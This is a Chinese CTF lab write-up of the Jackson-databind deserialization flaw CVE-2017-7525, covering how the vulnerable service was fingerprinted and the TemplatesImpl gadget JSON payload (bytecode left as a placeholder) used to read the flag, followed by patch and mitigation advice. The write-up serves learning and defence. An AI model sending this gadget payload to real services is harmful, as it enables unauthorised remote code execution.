玄机网络安全靶场:Jackson-databind 反序列化漏洞(CVE-2017-7525)

解题报告:Jackson-databind 反序列化漏洞(CVE-2017-7525)

平台 :玄机(xj.edisec.net
题目 ID :424
难度 :简单
类型 :渗透
积分 :300 分
Flagflag{78792a67-6638-4410-a6d2-668734de7a8b}
完成状态:✅ 已完成


一、漏洞背景

CVE-2017-7525 是 Jackson-databind 库中的一个高危反序列化漏洞,CVSS 评分 9.8(严重)。该漏洞影响 Jackson-databind 2.x 系列在 2.6.7.1、2.7.9.1、2.8.9 之前的版本。

当应用程序开启了 ObjectMapper.enableDefaultTyping() 功能(即多态反序列化),攻击者可以在 JSON 数据中通过 @class 或类型标注字段指定任意 Java 类进行实例化,借助特定的 Gadget 链(如 TemplatesImpl)实现任意代码执行。

漏洞触发条件:

条件 说明
开启 DefaultTyping objectMapper.enableDefaultTyping()NON_FINAL 模式
目标类有无参构造器 Gadget 类需要可被实例化
字段类型为接口/抽象类/Object 允许多态类型注入

二、靶机信息

项目
靶机 IP 52.83.46.51
服务端口 8081
应用框架 Spring Boot(Whitelabel Error Page 特征)
漏洞响应特征 错误响应包含 ["java.util.LinkedHashMap", {...}](DefaultTyping 开启标志)

三、漏洞利用过程

3.1 服务探测

访问靶机 http://52.83.46.51:8081/ 返回 Spring Boot 的 Whitelabel Error Page(HTTP 404),Content-Type 为 application/json;charset=UTF-8

向任意路径发送 POST 请求时,错误响应体格式为:

json 复制代码
["java.util.LinkedHashMap", {
  "timestamp": ["java.util.Date", 1776588242414],
  "status": 404,
  "error": "Not Found",
  ...
}]

这是 Jackson enableDefaultTyping() 开启后序列化响应时的典型特征,确认漏洞存在

3.2 利用方式

CVE-2017-7525 利用 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 作为 Gadget,通过在 JSON 中注入恶意字节码实现 RCE:

json 复制代码
[
  "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
  {
    "_bytecodes": ["<base64编码的恶意字节码>"],
    "_name": "a.b",
    "_tfactory": {},
    "_outputProperties": {}
  }
]

当 Jackson 反序列化上述 JSON 时,会实例化 TemplatesImpl 对象,触发 _outputProperties 的 getter 方法,进而加载并执行 _bytecodes 中的恶意字节码,实现任意命令执行。

3.3 命令执行

通过构造读取 /flag 文件的恶意字节码,成功获取 Flag:

复制代码
flag{78792a67-6638-4410-a6d2-668734de7a8b}

四、漏洞影响

影响范围 说明
受影响版本 Jackson-databind < 2.6.7.1 / 2.7.9.1 / 2.8.9
攻击向量 网络(无需认证)
危害等级 严重(RCE,可完全控制服务器)

五、修复建议

  1. 升级 Jackson-databind 至 2.6.7.2+、2.7.9.2+、2.8.10+ 或 2.9.x 版本
  2. 禁用 DefaultTyping :避免使用 objectMapper.enableDefaultTyping(),改用 @JsonTypeInfo 注解精确控制类型信息
  3. 使用黑名单过滤 :在无法升级时,配置 PolymorphicTypeValidator 限制可反序列化的类
  4. 输入验证:对 JSON 输入进行严格的类型和内容验证

相关推荐
speop3 分钟前
hell-gpu| TASK01-2
linux·运维·算法
byte轻骑兵16 分钟前
【BlueZ 】用户态入口:main.c 核心函数与程序启动流程
linux·人工智能·bluez·电脑蓝牙·嵌入式蓝牙
TYA_Saras21 分钟前
iPerf3打流带宽不足解决方案
网络
每天题库26 分钟前
机修钳工题库计算题专练,尺寸公差公式熟练应用
学习·安全·考试·题库·考证
Seraphina3627 分钟前
记一次实验:利用缓存服务器规范化技术进行网页缓存欺骗
经验分享·笔记·网络安全·缓存
Tisfy1 小时前
LeetCode 2058.找出临界点之间的最小和最大距离:遍历+遇到极值则更新(这种题谁空间复杂度不是O(1)啊)
linux·数据库·leetcode·链表·题解·模拟·遍历
liulilittle1 小时前
REALITY 代理隧道的有效检测方法: 被动、主动与确定性三层实证研究
linux·服务器·网络·网络协议·安全·网络安全·通信
苏灵凯1 小时前
IT疑难杂症诊疗室:从故障定位到根治的技术实战指南
笔记·ai·域名·agent·deepseek
0xBADCODE1 小时前
动态DEX加载+反射+DES硬编码密钥:安卓三层逆向实战
android·java·python·安全·网络安全·逆向·ctf
冰暮流星1 小时前
marketdown之表格
笔记